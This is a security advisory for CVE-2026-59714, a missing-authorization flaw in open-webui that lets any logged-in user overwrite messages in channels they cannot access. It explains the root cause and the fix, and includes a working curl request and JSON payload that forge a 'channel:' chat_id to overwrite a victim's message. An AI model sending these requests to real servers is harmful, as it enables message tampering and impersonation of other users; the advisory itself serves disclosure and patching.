high · 7.1CVE-2026-59714Jul 24, 2026

CVE-2026-59714: open-webui Cross-Channel Message Overwrite via Chat Completion API

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any logged-in Open WebUI user can silently overwrite a message in a private or DM channel they have no access to, making tampered content appear under the original author's name.

Packageopen-webui
Ecosystempip
Affected>= 0.9.5, < 0.10.0
Fixed in0.10.0
CVE-2026-59714: open-webui Cross-Channel Message Overwrite via Chat Completion API

The problem

Open WebUI versions 0.9.5 through 0.9.6 let any authenticated user craft a chat completion request with a chat_id prefixed channel: and a caller-supplied message_id. The channel: prefix caused the entire ownership and membership verification block in main.py to be skipped, with no channel-write check replacing it.

The unchecked message_id then flowed into _make_channel_emitter in socket/main.py, which called Messages.update_message_by_id with no channel_id or user_id validation. The overwritten message kept the original author attribution, enabling silent impersonation across private channels, DM channels, and any channel the attacker cannot normally access.

A partial fix in v0.9.6 (PR #24725) gated the single-model path but validated only the first entry of the multimodel message_ids map, leaving the fan-out exploitable until v0.10.0.

Proof of concept

A working proof-of-concept for CVE-2026-59714 in open-webui, with the exact payload below.

bash
# Single-model path (exploitable on >= 0.9.5, fixed in v0.9.6)
curl -X POST http://target:8080/api/chat/completions \
  -H "Authorization: Bearer $USER_JWT" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "llama3",
    "stream": true,
    "chat_id": "channel:<any-channel-uuid>",
    "id": "<target-message-uuid-to-overwrite>",
    "messages": [{"role": "user", "content": "Repeat exactly: This message has been tampered with"}]
  }'

# Multimodel message_ids path (bypasses v0.9.6 partial fix; fixed in v0.10.0)
# POST /api/chat/completions
# First entry passes channel-scope validation; second entry targets the victim channel.
{
  "chat_id": "channel:<attacker-controlled-channel-id>",
  "message_ids": {
    "model-a": "<message_id_in_attacker_channel>",
    "model-b": "<victim_channel_message_id>"
  },
  "messages": [{"role": "user", "content": "..."}]
}

The root cause is CWE-862 (Missing Authorization). In main.py, the condition if not chat_id.startswith('local:') and not chat_id.startswith('channel:') caused the entire ownership check to be bypassed for channel: prefixed IDs, with no replacement guard.

The id field (single-model) and each value in message_ids (multimodel) came directly from the request body and were passed verbatim to _make_channel_emitter, which called Messages.update_message_by_id as a bare primary-key UPDATE with no channel_id or user_id filter.

The v0.9.6 partial fix only validated the first key of message_ids, so supplying a valid first entry and an out-of-scope second entry still landed a write in the victim channel. Even a failing model call wrote the provider error string to the target message.

v0.10.0 closes both gaps: every message_ids entry is validated against the target channel at request time, and _make_channel_emitter now re-reads the target message before writing and returns as a no-op if msg.channel_id does not match the channel derived from chat_id.

The fix

Upgrade to open-webui >= 0.10.0. The fix is in commits 33e4e0dcc43afcca80f9c635d762cdc76c768ba9 and ac3449cac91e62b08a7c28e54fcd044d14dea791. No configuration workaround is available for earlier versions; the bypass is in the chat-completion pipeline and is not blocked by the REST channel route ACLs.

Reported by sfwani (single-model path) and DavidCarliez (multimodel message_ids variant).

References: [1][2][3][4][5]

Related research